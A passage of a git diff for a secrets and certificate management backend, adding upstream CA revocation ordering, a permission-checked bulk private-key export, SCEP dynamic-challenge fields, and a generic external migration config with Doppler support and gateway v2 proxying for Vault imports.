@@ -578,6 +1017,9 @@ export const certificateDALFactory = (db: TDbClient) => {
     findActiveCertificatesForSync,
     findCertificatesEligibleForRenewal,
     findWithPrivateKeyInfo,
-    findWithFullDetails
+    findWithFullDetails,
+    getDashboardStats,
+    getActivityTrend,
+    getPqcTrend
   };
 };
diff --git a/backend/src/services/certificate/certificate-fns.ts b/backend/src/services/certificate/certificate-fns.ts
index 5441bd615d7..19dde4fae07 100644
--- a/backend/src/services/certificate/certificate-fns.ts
+++ b/backend/src/services/certificate/certificate-fns.ts
@@ -8,6 +8,7 @@ import { BadRequestError, NotFoundError } from "@app/lib/errors";
 import { parseDistinguishedName } from "../certificate-authority/certificate-authority-fns";
 import { getProjectKmsCertificateKeyId } from "../project/project-fns";
 import {
+  CertKeyAlgorithm,
   CrlReason,
   TCertificateFingerprints,
   TCertificateSubject,
@@ -15,6 +16,18 @@ import {
   TParsedCertificateBody
 } from "./certificate-types";
 
+export const keySizeToAlgorithms = (keySize: number): string[] => {
+  const map: Record<number, string[]> = {
+    2048: [CertKeyAlgorithm.RSA_2048],
+    3072: [CertKeyAlgorithm.RSA_3072],
+    4096: [CertKeyAlgorithm.RSA_4096],
+    256: [CertKeyAlgorithm.ECDSA_P256],
+    384: [CertKeyAlgorithm.ECDSA_P384],
+    521: [CertKeyAlgorithm.ECDSA_P521]
+  };
+  return map[keySize] ?? [];
+};
+
 export const revocationReasonToCrlCode = (crlReason: CrlReason) => {
   switch (crlReason) {
     case CrlReason.KEY_COMPROMISE:
diff --git a/backend/src/services/certificate/certificate-service.ts b/backend/src/services/certificate/certificate-service.ts
index 0c50497be8a..2c0a6c2920e 100644
--- a/backend/src/services/certificate/certificate-service.ts
+++ b/backend/src/services/certificate/certificate-service.ts
@@ -388,6 +388,20 @@ export const certificateServiceFactory = ({
 
     if (cert.status === CertStatus.REVOKED) throw new Error("Certificate already revoked");
 
+    // Call the upstream CA first so we don't end up with a cert that's revoked locally but still
+    // active at the issuer (e.g., when the upstream rejects the chosen revocation reason).
+    if (
+      ca.externalCa?.type === CaType.AWS_PCA ||
+      ca.externalCa?.type === CaType.AWS_ACM_PUBLIC_CA ||
+      ca.externalCa?.type === CaType.DIGICERT
+    ) {
+      await certificateAuthorityService.revokeCertificate({
+        caId: ca.id,
+        serialNumber: cert.serialNumber,
+        reason: revocationReason
+      });
+    }
+
     const revokedAt = new Date();
     await certificateDAL.update(
       {
@@ -407,17 +421,6 @@ export const certificateServiceFactory = ({
       pkiSyncQueue
     });
 
-    // Note: External CA revocation handling would go here for supported CA types
-    // Currently, only internal CAs, ACME CAs and AWS PCA (external CA) support revocation
-
-    if (ca.externalCa?.type === CaType.AWS_PCA) {
-      await certificateAuthorityService.revokeCertificate({
-        caId: ca.id,
-        serialNumber: cert.serialNumber,
-        reason: revocationReason
-      });
-    }
-
     // rebuild CRL (TODO: move to interval-based cron job)
     // Only rebuild CRL for internal CAs - external CAs manage their own CRLs
     if (!ca.externalCa?.id) {
diff --git a/backend/src/services/cmek/cmek-service.ts b/backend/src/services/cmek/cmek-service.ts
index 2acc95ee6d9..0a176ebf212 100644
--- a/backend/src/services/cmek/cmek-service.ts
+++ b/backend/src/services/cmek/cmek-service.ts
@@ -3,11 +3,12 @@ import { ForbiddenError } from "@casl/ability";
 import { ActionProjectType } from "@app/db/schemas";
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { ProjectPermissionCmekActions, ProjectPermissionSub } from "@app/ee/services/permission/project-permission";
-import { SigningAlgorithm } from "@app/lib/crypto/sign";
+import { AsymmetricKeyAlgorithm, SigningAlgorithm, signingService } from "@app/lib/crypto/sign";
 import { DatabaseErrorCode } from "@app/lib/error-codes";
 import { BadRequestError, DatabaseError, NotFoundError } from "@app/lib/errors";
 import { OrgServiceActor } from "@app/lib/types";
 import {
+  TCmekBulkGetPrivateKeysDTO,
   TCmekDecryptDTO,
   TCmekEncryptDTO,
   TCmekGetPrivateKeyDTO,
@@ -318,6 +319,79 @@ export const cmekServiceFactory = ({ kmsService, kmsDAL, permissionService }: TC
     };
   };
 
+  const bulkGetPrivateKeys = async ({ keyIds }: TCmekBulkGetPrivateKeysDTO, actor: OrgServiceActor) => {
+    if (keyIds.length === 0) throw new BadRequestError({ message: "At least one key ID is required" });
+
+    const uniqueKeyIds = [...new Set(keyIds)];
+    const keys = await kmsDAL.findCmeksByIds(uniqueKeyIds);
+
+    if (keys.length === 0) throw new NotFoundError({ message: "No keys found for the provided IDs" });
+
+    if (keys.length !== uniqueKeyIds.length) {
+      const foundIds = new Set(keys.map((k) => k.id));
+      const missingIds = uniqueKeyIds.filter((id) => !foundIds.has(id));
+      throw new NotFoundError({ message: `Keys not found for IDs: ${missingIds.join(", ")}` });
+    }
+
+    const projectIds = new Set<string>();
+    for (const key of keys) {
+      if (!key.projectId || key.isReserved)
+        throw new BadRequestError({ message: `Key with ID "${key.id}" is not customer managed` });
+      if (key.isDisabled) throw new BadRequestError({ message: `Key with ID "${key.id}" is disabled` });
+      projectIds.add(key.projectId);
+    }
+
+    if (projectIds.size > 1) throw new BadRequestError({ message: "All keys must belong to the same project" });
+
+    const projectId = keys[0].projectId!;
+
+    const { permission } = await permissionService.getProjectPermission({
+      actor: actor.type,
+      actorId: actor.id,
+      projectId,
+      actorAuthMethod: actor.authMethod,
+      actorOrgId: actor.orgId,
+      actionProjectType: ActionProjectType.KMS
+    });
+
+    ForbiddenError.from(permission).throwUnlessCan(
+      ProjectPermissionCmekActions.ExportPrivateKey,
+      ProjectPermissionSub.Cmek
+    );
+
+    const bulkMaterials = await kmsService.getBulkKeyMaterial({ kmsIds: keys.map((k) => k.id) });
+
+    const materialByKmsId = new Map(bulkMaterials.map((m) => [m.kmsId, m]));
+    const asymmetricAlgorithms = new Set<string>(Object.values(AsymmetricKeyAlgorithm));
+
+    const result = keys.map((key) => {
+      const materialEntry = materialByKmsId.get(key.id);
+
+      if (!materialEntry) {
+        throw new NotFoundError({ message: `Key material not found for key ID "${key.id}"` });
+      }
+
+      let publicKey: string | undefined;
+      if (asymmetricAlgorithms.has(key.encryptionAlgorithm)) {
+        const pubKeyBuffer = signingService(
+          key.encryptionAlgorithm as AsymmetricKeyAlgorithm
+        ).getPublicKeyFromPrivateKey(materialEntry.keyMaterial);
+        publicKey = pubKeyBuffer.toString("base64");
+      }
+
+      return {
+        keyId: key.id,
+        name: key.name,
+        keyUsage: key.keyUsage,
+        algorithm: key.encryptionAlgorithm,
+        privateKey: materialEntry.keyMaterial.toString("base64"),
+        ...(publicKey ? { publicKey } : {})
+      };
+    });
+
+    return { keys: result, projectId };
+  };
+
   const cmekSign = async ({ keyId, data, signingAlgorithm, isDigest }: TCmekSignDTO, actor: OrgServiceActor) => {
     const key = await kmsDAL.findCmekById(keyId);
 
@@ -432,6 +506,7 @@ export const cmekServiceFactory = ({ kmsService, kmsDAL, permissionService }: TC
     cmekVerify,
     listSigningAlgorithms,
     getPublicKey,
-    getPrivateKey
+    getPrivateKey,
+    bulkGetPrivateKeys
   };
 };
diff --git a/backend/src/services/cmek/cmek-types.ts b/backend/src/services/cmek/cmek-types.ts
index eafd39e39fa..d1b3267182c 100644
--- a/backend/src/services/cmek/cmek-types.ts
+++ b/backend/src/services/cmek/cmek-types.ts
@@ -57,6 +57,10 @@ export type TCmekGetPrivateKeyDTO = {
   keyId: string;
 };
 
+export type TCmekBulkGetPrivateKeysDTO = {
+  keyIds: string[];
+};
+
 export type TCmekSignDTO = {
   keyId: string;
   data: string;
diff --git a/backend/src/services/enrollment-config/enrollment-config-types.ts b/backend/src/services/enrollment-config/enrollment-config-types.ts
index badf981a17a..afc31220b99 100644
--- a/backend/src/services/enrollment-config/enrollment-config-types.ts
+++ b/backend/src/services/enrollment-config/enrollment-config-types.ts
@@ -52,7 +52,10 @@ export type TScepEnrollmentConfigInsert = TPkiScepEnrollmentConfigsInsert;
 export type TScepEnrollmentConfigUpdate = TPkiScepEnrollmentConfigsUpdate;
 
 export interface TScepConfigData {
-  challengePassword: string;
+  challengeType?: string;
+  challengePassword?: string;
   includeCaCertInResponse?: boolean;
   allowCertBasedRenewal?: boolean;
+  dynamicChallengeExpiryMinutes?: number;
+  dynamicChallengeMaxPending?: number;
 }
diff --git a/backend/src/services/external-migration/external-migration-config-dal.ts b/backend/src/services/external-migration/external-migration-config-dal.ts
new file mode 100644
index 00000000000..1f0d11361d0
--- /dev/null
+++ b/backend/src/services/external-migration/external-migration-config-dal.ts
@@ -0,0 +1,92 @@
+import { Knex } from "knex";
+
+import { TDbClient } from "@app/db";
+import { TableName, TExternalMigrationConfigs } from "@app/db/schemas";
+import { DatabaseError } from "@app/lib/errors";
+import { buildFindFilter, ormify, prependTableNameToFindFilter, selectAllTableCols } from "@app/lib/knex";
+
+export type TExternalMigrationConfigDALFactory = ReturnType<typeof externalMigrationConfigDALFactory>;
+
+const buildConnectionJoin = (qb: Knex.QueryBuilder, db: TDbClient) =>
+  qb
+    .leftJoin(
+      TableName.AppConnection,
+      `${TableName.AppConnection}.id`,
+      `${TableName.ExternalMigrationConfig}.connectionId`
+    )
+    .select(selectAllTableCols(TableName.ExternalMigrationConfig))
+    .select(
+      db.ref("id").withSchema(TableName.AppConnection).as("appConnectionId"),
+      db.ref("name").withSchema(TableName.AppConnection).as("appConnectionName"),
+      db.ref("app").withSchema(TableName.AppConnection).as("appConnectionApp"),
+      db.ref("encryptedCredentials").withSchema(TableName.AppConnection).as("appConnectionEncryptedCredentials"),
+      db.ref("orgId").withSchema(TableName.AppConnection).as("appConnectionOrgId"),
+      db.ref("isAutoRotationEnabled").withSchema(TableName.AppConnection).as("appConnectionIsAutoRotationEnabled"),
+      db.ref("method").withSchema(TableName.AppConnection).as("appConnectionMethod"),
+      db.ref("description").withSchema(TableName.AppConnection).as("appConnectionDescription"),
+      db.ref("version").withSchema(TableName.AppConnection).as("appConnectionVersion"),
+      db.ref("gatewayId").withSchema(TableName.AppConnection).as("appConnectionGatewayId"),
+      db.ref("projectId").withSchema(TableName.AppConnection).as("appConnectionProjectId"),
+      db.ref("createdAt").withSchema(TableName.AppConnection).as("appConnectionCreatedAt"),
+      db.ref("updatedAt").withSchema(TableName.AppConnection).as("appConnectionUpdatedAt")
+    );
+
+const mapResultToConnection = (raw: Record<string, unknown>) => {
+  const result = raw as TExternalMigrationConfigs & Record<string, unknown>;
+  return {
+    ...result,
+    connection: raw.appConnectionId
+      ? {
+          id: raw.appConnectionId as string,
+          name: raw.appConnectionName as string,
+          app: raw.appConnectionApp,
+          encryptedCredentials: raw.appConnectionEncryptedCredentials as Buffer,
+          orgId: raw.appConnectionOrgId as string,
+          method: raw.appConnectionMethod,
+          description: raw.appConnectionDescription,
+          version: raw.appConnectionVersion,
+          gatewayId: raw.appConnectionGatewayId,
+          projectId: raw.appConnectionProjectId,
+          createdAt: raw.appConnectionCreatedAt as Date,
+          updatedAt: raw.appConnectionUpdatedAt as Date,
+          isAutoRotationEnabled: raw.appConnectionIsAutoRotationEnabled as boolean
+        }
+      : undefined
+  };
+};
+
+export const externalMigrationConfigDALFactory = (db: TDbClient) => {
+  const orm = ormify(db, TableName.ExternalMigrationConfig);
+
+  const findOne = async (filter: { orgId: string; provider?: string; connectionId?: string | null }, tx?: Knex) => {
+    try {
+      const qb = buildConnectionJoin((tx || db?.replicaNode?.() || db)(TableName.ExternalMigrationConfig), db);
+      /* eslint-disable @typescript-eslint/no-misused-promises */
+      void qb.where(buildFindFilter(prependTableNameToFindFilter(TableName.ExternalMigrationConfig, filter)));
+      /* eslint-enable @typescript-eslint/no-misused-promises */
+
+      const result = (await qb.first()) as Record<string, unknown> | undefined;
+      if (!result) return undefined;
+
+      return mapResultToConnection(result);
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Find one" });
+    }
+  };
+
+  const findWithConnection = async (filter: { orgId: string; provider?: string }, tx?: Knex) => {
+    try {
+      const qb = buildConnectionJoin((tx || db?.replicaNode?.() || db)(TableName.ExternalMigrationConfig), db);
+      /* eslint-disable @typescript-eslint/no-misused-promises */
+      void qb.where(buildFindFilter(prependTableNameToFindFilter(TableName.ExternalMigrationConfig, filter)));
+      /* eslint-enable @typescript-eslint/no-misused-promises */
+
+      const results = (await qb) as Record<string, unknown>[];
+      return results.map(mapResultToConnection);
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Find with connection" });
+    }
+  };
+
+  return { ...orm, findOne, findWithConnection };
+};
diff --git a/backend/src/services/external-migration/external-migration-fns/doppler.ts b/backend/src/services/external-migration/external-migration-fns/doppler.ts
new file mode 100644
index 00000000000..4df23878798
--- /dev/null
+++ b/backend/src/services/external-migration/external-migration-fns/doppler.ts
@@ -0,0 +1,8 @@
+// Re-export Doppler API helpers for use in the migration service.
+// The actual implementation lives in the Doppler AppConnection package.
+export {
+  getDopplerSecrets,
+  listDopplerConfigs,
+  listDopplerEnvironments,
+  listDopplerProjects
+} from "@app/services/app-connection/doppler/doppler-connection-fns";
diff --git a/backend/src/services/external-migration/external-migration-fns/index.ts b/backend/src/services/external-migration/external-migration-fns/index.ts
index 4af82bf2285..a7e60cabc47 100644
--- a/backend/src/services/external-migration/external-migration-fns/index.ts
+++ b/backend/src/services/external-migration/external-migration-fns/index.ts
@@ -1,3 +1,4 @@
+export * from "./doppler";
 export * from "./envkey";
 export * from "./import";
 export * from "./vault";
diff --git a/backend/src/services/external-migration/external-migration-fns/vault.ts b/backend/src/services/external-migration/external-migration-fns/vault.ts
index e84284cdc1e..6e32be90759 100644
--- a/backend/src/services/external-migration/external-migration-fns/vault.ts
+++ b/backend/src/services/external-migration/external-migration-fns/vault.ts
@@ -1,11 +1,13 @@
 import https from "node:https";
 
-import axios, { AxiosInstance } from "axios";
+import axios, { AxiosInstance, isAxiosError } from "axios";
 import { v4 as uuidv4 } from "uuid";
 
 import { TGatewayServiceFactory } from "@app/ee/services/gateway/gateway-service";
+import { TGatewayV2ServiceFactory } from "@app/ee/services/gateway-v2/gateway-v2-service";
 import { BadRequestError } from "@app/lib/errors";
 import { GatewayProxyProtocol, withGatewayProxy } from "@app/lib/gateway";
+import { withGatewayV2Proxy } from "@app/lib/gateway-v2/gateway-v2";
 import { logger } from "@app/lib/logger";
 import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
 
@@ -18,31 +20,50 @@ type VaultData = {
   secretData: Record<string, string>;
 };
 
-const vaultFactory = (gatewayService: Pick<TGatewayServiceFactory, "fnGetGatewayClientTlsByGatewayId">) => {
+const vaultFactory = (
+  gatewayService: Pick<TGatewayServiceFactory, "fnGetGatewayClientTlsByGatewayId">,
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">
+) => {
   const $gatewayProxyWrapper = async <T>(
     inputs: {
       gatewayId: string;
-      targetHost?: string;
-      targetPort?: number;
+      targetProtocol: string;
+      targetHostname: string;
+      targetPort: number;
     },
-    gatewayCallback: (host: string, port: number, httpsAgent?: https.Agent) => Promise<T>
+    gatewayCallback: (host: string, port: number, httpsAgent?: https.Agent, hostHeader?: string) => Promise<T>
   ): Promise<T> => {
-    const relayDetails = await gatewayService.fnGetGatewayClientTlsByGatewayId(inputs.gatewayId);
-
-    const callbackResult = await withGatewayProxy(
-      async (port, httpsAgent) => {
-        const res = await gatewayCallback("http://localhost", port, httpsAgent);
-        return res;
-      },
-      {
-        protocol: GatewayProxyProtocol.Http,
-        targetHost: inputs.targetHost,
-        targetPort: inputs.targetPort,
-        relayDetails
-      }
-    );
+    const { gatewayId, targetProtocol, targetHostname, targetPort } = inputs;
+
+    const gatewayV2Details = await gatewayV2Service.getPlatformConnectionDetailsByGatewayId({
+      gatewayId,
+      targetHost: targetHostname,
+      targetPort
+    });
 
-    return callbackResult;
+    if (gatewayV2Details) {
+      const isHttps = targetProtocol === "https";
+      const httpsAgent = isHttps ? new https.Agent({ servername: targetHostname }) : undefined;
+
+      return withGatewayV2Proxy(
+        async (port) => gatewayCallback(`${targetProtocol}://localhost`, port, httpsAgent, targetHostname),
+        {
+          protocol: GatewayProxyProtocol.Tcp,
+          relayHost: gatewayV2Details.relayHost,
+          gateway: gatewayV2Details.gateway,
+          relay: gatewayV2Details.relay
+        }
+      );
+    }
+
+    const relayDetails = await gatewayService.fnGetGatewayClientTlsByGatewayId(gatewayId);
+
+    return withGatewayProxy(async (port, httpsAgent) => gatewayCallback("http://localhost", port, httpsAgent), {
+      protocol: GatewayProxyProtocol.Http,
+      targetHost: `${targetProtocol}://${targetHostname}`,
+      targetPort,
+      relayDetails
+    });
   };
 
   const getMounts = async (request: AxiosInstance) => {
@@ -51,7 +72,7 @@ const vaultFactory = (gatewayService: Pick<TGatewayServiceFactory, "fnGetGateway
         data: Record<string, { accessor: string; options: { version?: string } | null; type: string }>;
       }>("/v1/sys/mounts")
       .catch((err) => {
-        if (axios.isAxiosError(err)) {
+        if (isAxiosError(err)) {
           logger.error(err.response?.data, "External migration: Failed to get Vault mounts");
         }
         throw err;
@@ -87,7 +108,7 @@ const vaultFactory = (gatewayService: Pick<TGatewayServiceFactory, "fnGetGateway
 
       return response.data.data.keys;
     } catch (err) {
-      if (axios.isAxiosError(err)) {
+      if (isAxiosError(err)) {
         logger.error(err.response?.data, "External migration: Failed to get Vault paths");
         if (err.response?.status === 404) {
           return null;
@@ -117,7 +138,7 @@ const vaultFactory = (gatewayService: Pick<TGatewayServiceFactory, "fnGetGateway
           };
         }>(`/v1/${mountPath}/data/${secretPath}`)
         .catch((err) => {
-          if (axios.isAxiosError(err)) {
+          if (isAxiosError(err)) {
             // handle soft-deleted secrets (Vault returns 404 with metadata for soft deleted secrets)
             const vaultResponse = err.response?.data as { data?: { metadata?: { deletion_time?: string } } };
 
@@ -152,7 +173,7 @@ const vaultFactory = (gatewayService: Pick<TGatewayServiceFactory, "fnGetGateway
         renewable: boolean;
       }>(`/v1/${mountPath}/${secretPath}`)
       .catch((err) => {
-        if (axios.isAxiosError(err)) {
+        if (isAxiosError(err)) {
           logger.error(err.response?.data, "External migration: Failed to get Vault secret");
         }
         throw err;
@@ -208,15 +229,17 @@ const vaultFactory = (gatewayService: Pick<TGatewayServiceFactory, "fnGetGateway
     accessToken: string;
     gatewayId?: string;
   }): Promise<VaultData[]> {
-    const getData = async (host: string, port?: number, httpsAgent?: https.Agent) => {
+    const getData = async (host: string, port?: number, httpsAgent?: https.Agent, hostHeader?: string) => {
       const allData: VaultData[] = [];
 
       const request = axios.create({
         baseURL: port ? `${host}:${port}` : host,
         headers: {
           "X-Vault-Token": accessToken,
-          ...(namespace ? { "X-Vault-Namespace": namespace } : {})
+          ...(namespace ? { "X-Vault-Namespace": namespace } : {}),
+          ...(hostHeader ? { Host: hostHeader } : {})
         },
+        maxRedirects: 0,
         httpsAgent
       });
 
@@ -279,12 +302,14 @@ const vaultFactory = (gatewayService: Pick<TGatewayServiceFactory, "fnGetGateway
       data = await $gatewayProxyWrapper(
         {
           gatewayId,
-          targetHost: `${cleanedProtocol}://${hostname}`,
+          targetProtocol: cleanedProtocol,
+          targetHostname: hostname,
           targetPort: port ? Number(port) : 8200 // 8200, default port for Vault self-hosted/dedicated
         },
         getData
       );
     } else {
+      await blockLocalAndPrivateIpAddresses(baseUrl);
       data = await getData(baseUrl);
     }
 
@@ -530,7 +555,13 @@ export const importVaultDataFn = async (
     gatewayId?: string;
     orgId: string;
   },
-  { gatewayService }: { gatewayService: Pick<TGatewayServiceFactory, "fnGetGatewayClientTlsByGatewayId"> }
+  {
+    gatewayService,
+    gatewayV2Service
+  }: {
+    gatewayService: Pick<TGatewayServiceFactory, "fnGetGatewayClientTlsByGatewayId">;
+    gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">;
+  }
 ) => {
   await blockLocalAndPrivateIpAddresses(vaultUrl);
 
@@ -559,7 +590,7 @@ export const importVaultDataFn = async (
     `[importVaultDataFn]: Running ${orgId in vaultMigrationTransformMappings ? "custom" : "default"} transform`
   );
 
-  const vaultApi = vaultFactory(gatewayService);
+  const vaultApi = vaultFactory(gatewayService, gatewayV2Service);
 
   const vaultData = await vaultApi.collectVaultData({
     accessToken: vaultAccessToken,
diff --git a/backend/src/services/external-migration/external-migration-schemas.ts b/backend/src/services/external-migration/external-migration-schemas.ts
new file mode 100644
index 00000000000..ae16ba3b369
--- /dev/null
+++ b/backend/src/services/external-migration/external-migration-schemas.ts
@@ -0,0 +1,26 @@
+import { z } from "zod";
+
+export enum ExternalMigrationProviders {
+  Vault = "vault",
+  EnvKey = "env-key",
+  Doppler = "doppler"
+}
+
+export const ExternalMigrationConfigVaultConfigSchema = z.object({
+  namespace: z.string()
+});
+
+export const ExternalMigrationConfigDopplerConfigSchema = z.object({});
+
+export const ExternalMigrationConfigSchema = z.discriminatedUnion("provider", [
+  z.object({
+    provider: z.literal(ExternalMigrationProviders.Vault),
+    config: ExternalMigrationConfigVaultConfigSchema
+  }),
+  z.object({
+    provider: z.literal(ExternalMigrationProviders.Doppler),
+    config: ExternalMigrationConfigDopplerConfigSchema
+  })
+]);
+
+export type TExternalMigrationConfig = z.infer<typeof ExternalMigrationConfigSchema>;
diff --git a/backend/src/services/external-migration/external-migration-service.ts b/backend/src/services/external-migration/external-migration-service.ts
index d9c13f4f2e4..11084e992bf 100644
--- a/backend/src/services/external-migration/external-migration-service.ts
+++ b/backend/src/services/external-migration/external-migration-service.ts
@@ -10,14 +10,14 @@ import { TGatewayServiceFactory } from "@app/ee/services/gateway/gateway-service
 import { TGatewayV2ServiceFactory } from "@app/ee/services/gateway-v2/gateway-v2-service";
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { crypto } from "@app/lib/crypto/cryptography";
-import { DatabaseErrorCode } from "@app/lib/error-codes";
-import { BadRequestError, DatabaseError, ForbiddenRequestError, NotFoundError } from "@app/lib/errors";
+import { BadRequestError, ForbiddenRequestError, NotFoundError } from "@app/lib/errors";
 import { GatewayVersion } from "@app/lib/gateway/types";
 import { OrgServiceActor } from "@app/lib/types";
 
 import { AppConnection } from "../app-connection/app-connection-enums";
 import { decryptAppConnectionCredentials } from "../app-connection/app-connection-fns";
 import { TAppConnectionServiceFactory } from "../app-connection/app-connection-service";
+import { TDopplerConnection } from "../app-connection/doppler";
 import {
   convertVaultValueToString,
   getHCVaultAuthMounts,
@@ -27,8 +27,9 @@ import {
   getHCVaultKubernetesRoles,
   getHCVaultLdapRoles,
   getHCVaultPolicyNames,
-  getHCVaultSecretsForPath,
+  getHCVaultSecretsForPaths,
   HCVaultAuthType,
+  JsonValue,
   listHCVaultMounts,
   listHCVaultPolicies,
   listHCVaultSecretPaths,
@@ -36,28 +37,34 @@ import {
   THCVaultConnection
 } from "../app-connection/hc-vault";
 import { TKmsServiceFactory } from "../kms/kms-service";
+import { KmsDataKey } from "../kms/kms-types";
 import { TSecretServiceFactory } from "../secret/secret-service";
 import { SecretProtectionType } from "../secret/secret-types";
 import { TUserDALFactory } from "../user/user-dal";
+import { TExternalMigrationConfigDALFactory } from "./external-migration-config-dal";
 import {
   decryptEnvKeyDataFn,
+  getDopplerSecrets,
   importVaultDataFn,
+  listDopplerConfigs,
+  listDopplerEnvironments,
+  listDopplerProjects,
   parseEnvKeyDataFn,
   vaultMigrationTransformMappings
 } from "./external-migration-fns";
 import { TExternalMigrationQueueFactory } from "./external-migration-queue";
+import { ExternalMigrationConfigVaultConfigSchema, ExternalMigrationProviders } from "./external-migration-schemas";
 import {
-  ExternalMigrationProviders,
+  ExternalMigrationImportStatus,
   ExternalPlatforms,
-  TCreateVaultExternalMigrationDTO,
-  TDeleteVaultExternalMigrationDTO,
+  TCreateExternalMigrationDTO,
+  TDeleteExternalMigrationDTO,
   THasCustomVaultMigrationDTO,
+  TImportDopplerSecretsDTO,
   TImportEnvKeyDataDTO,
   TImportVaultDataDTO,
-  TUpdateVaultExternalMigrationDTO,
-  VaultImportStatus
+  TUpdateExternalMigrationDTO
 } from "./external-migration-types";
-import { TVaultExternalMigrationConfigDALFactory } from "./vault-external-migration-config-dal";
 
 type TExternalMigrationServiceFactoryDep = {
   permissionService: TPermissionServiceFactory;
@@ -65,9 +72,9 @@ type TExternalMigrationServiceFactoryDep = {
   auditLogService: Pick<TAuditLogServiceFactory, "createAuditLog">;
   externalMigrationQueue: TExternalMigrationQueueFactory;
   appConnectionService: Pick<TAppConnectionServiceFactory, "connectAppConnectionById">;
-  vaultExternalMigrationConfigDAL: Pick<
-    TVaultExternalMigrationConfigDALFactory,
-    "create" | "findOne" | "transaction" | "find" | "updateById" | "deleteById" | "findById"
+  externalMigrationConfigDAL: Pick<
+    TExternalMigrationConfigDALFactory,
+    "create" | "findOne" | "transaction" | "find" | "updateById" | "deleteById" | "findById" | "findWithConnection"
   >;
   userDAL: Pick<TUserDALFactory, "findById">;
   gatewayService: Pick<TGatewayServiceFactory, "fnGetGatewayClientTlsByGatewayId">;
@@ -86,7 +93,7 @@ export const externalMigrationServiceFactory = ({
   secretService,
   auditLogService,
   appConnectionService,
-  vaultExternalMigrationConfigDAL,
+  externalMigrationConfigDAL,
   kmsService
 }: TExternalMigrationServiceFactoryDep) => {
   const getGatewayDetails = async (connection: THCVaultConnection) => {
@@ -153,28 +160,44 @@ export const externalMigrationServiceFactory = ({
       throw new ForbiddenRequestError({ message: `Only admins can ${action}` });
     }
 
-    const vaultConfig = await vaultExternalMigrationConfigDAL.findOne({
+    const existingConfig = await externalMigrationConfigDAL.findWithConnection({
       orgId: actor.orgId,
-      namespace
+      provider: ExternalMigrationProviders.Vault
     });
 
-    if (!vaultConfig) {
+    const { decryptor } = await kmsService.createCipherPairWithDataKey({
+      type: KmsDataKey.Organization,
+      orgId: actor.orgId
+    });
+
+    const migrationConfig = existingConfig
+      .map((config) => {
+        const decryptedConfig = decryptor({ cipherTextBlob: config.encryptedConfig });
+
+        return {
+          ...config,
+          config: ExternalMigrationConfigVaultConfigSchema.parse(JSON.parse(decryptedConfig.toString()))
+        };
+      })
+      .find((config) => config.config.namespace === namespace);
+
+    if (!migrationConfig) {
       throw new NotFoundError({ message: "Vault migration config not found for this namespace" });
     }
 
-    if (!vaultConfig.connection) {
+    if (!migrationConfig.connection) {
       throw new BadRequestError({ message: "Vault migration connection is not configured for this namespace" });
     }
 
     const credentials = await decryptAppConnectionCredentials({
-      orgId: vaultConfig.orgId,
-      encryptedCredentials: vaultConfig.connection.encryptedCredentials,
+      orgId: migrationConfig.orgId,
+      encryptedCredentials: migrationConfig.connection?.encryptedCredentials,
       kmsService,
       projectId: null
     });
 
     return {
-      ...vaultConfig.connection,
+      ...migrationConfig.connection,
       credentials
     } as THCVaultConnection;
   };
@@ -264,7 +287,8 @@ export const externalMigrationServiceFactory = ({
         orgId: actorOrgId
       },
       {
-        gatewayService
+        gatewayService,
+        gatewayV2Service
       }
     );
 
@@ -325,6 +349,13 @@ export const externalMigrationServiceFactory = ({
     connection: THCVaultConnection;
     namespace: string;
   }) => {
+    if (connection.projectId != null) {
+      throw new BadRequestError({
+        message:
+          "Vault external migration requires an organization-level HashiCorp Vault app connection. Project-scoped app connections cannot be used."
+      });
+    }
+
     // Allow root namespace access when no namespace is configured on the connection
     const isRootAccess = namespace === "root" || namespace === "/";
     const hasNoNamespace = connection.credentials.namespace === undefined;
@@ -356,7 +387,11 @@ export const externalMigrationServiceFactory = ({
     }
   };
 
-  const createVaultExternalMigration = async ({ namespace, connectionId, actor }: TCreateVaultExternalMigrationDTO) => {
+  const createExternalMigration = async ({
+    config: migrationConfig,
+    connectionId,
+    actor
+  }: TCreateExternalMigrationDTO) => {
     const { hasRole } = await permissionService.getOrgPermission({
       actorId: actor.id,
       actor: actor.type,
@@ -367,48 +402,68 @@ export const externalMigrationServiceFactory = ({
     });
 
     if (!hasRole(OrgMembershipRole.Admin)) {
-      throw new ForbiddenRequestError({ message: "Only admins can configure vault external migration" });
+      throw new ForbiddenRequestError({ message: "Only admins can create external migration" });
     }
 
-    const connection = await appConnectionService.connectAppConnectionById<THCVaultConnection>(
-      AppConnection.HCVault,
-      connectionId,
-      actor
-    );
-
-    await validateVaultExternalMigrationConnection({
-      connection,
-      namespace
+    const existingConfigs = await externalMigrationConfigDAL.find({
+      orgId: actor.orgId,
+      provider: migrationConfig.provider
     });
 
-    try {
-      const config = await vaultExternalMigrationConfigDAL.create({
-        namespace,
-        connectionId,
-        orgId: actor.orgId
-      });
+    const { decryptor, encryptor } = await kmsService.createCipherPairWithDataKey({
+      type: KmsDataKey.Organization,
+      orgId: actor.orgId
+    });
 
-      return config;
-    } catch (error) {
-      if (
-        error instanceof DatabaseError &&
-        (error.error as { code: string })?.code === DatabaseErrorCode.UniqueViolation
-      ) {
-        throw new BadRequestError({
-          message: `Vault external migration already exists for this namespace`
+    if (migrationConfig.provider === ExternalMigrationProviders.Vault) {
+      if (existingConfigs?.length) {
+        const parsedConfigs = existingConfigs.map((cfg) => {
+          const decryptedConfig = decryptor({ cipherTextBlob: cfg.encryptedConfig });
+          return ExternalMigrationConfigVaultConfigSchema.parse(JSON.parse(decryptedConfig.toString()));
         });
+
+        if (parsedConfigs.some((cfg) => cfg.namespace === migrationConfig.config.namespace)) {
+          throw new BadRequestError({ message: "A Vault external migration already exists for this namespace" });
+        }
       }
 
-      throw error;
+      const connection = await appConnectionService.connectAppConnectionById<THCVaultConnection>(
+        AppConnection.HCVault,
+        connectionId,
+        actor
+      );
+      await validateVaultExternalMigrationConnection({
+        connection,
+        namespace: migrationConfig.config.namespace
+      });
+    } else if (migrationConfig.provider === ExternalMigrationProviders.Doppler) {
+      await appConnectionService.connectAppConnectionById(AppConnection.Doppler, connectionId, actor);
+
+      if (existingConfigs?.length) {
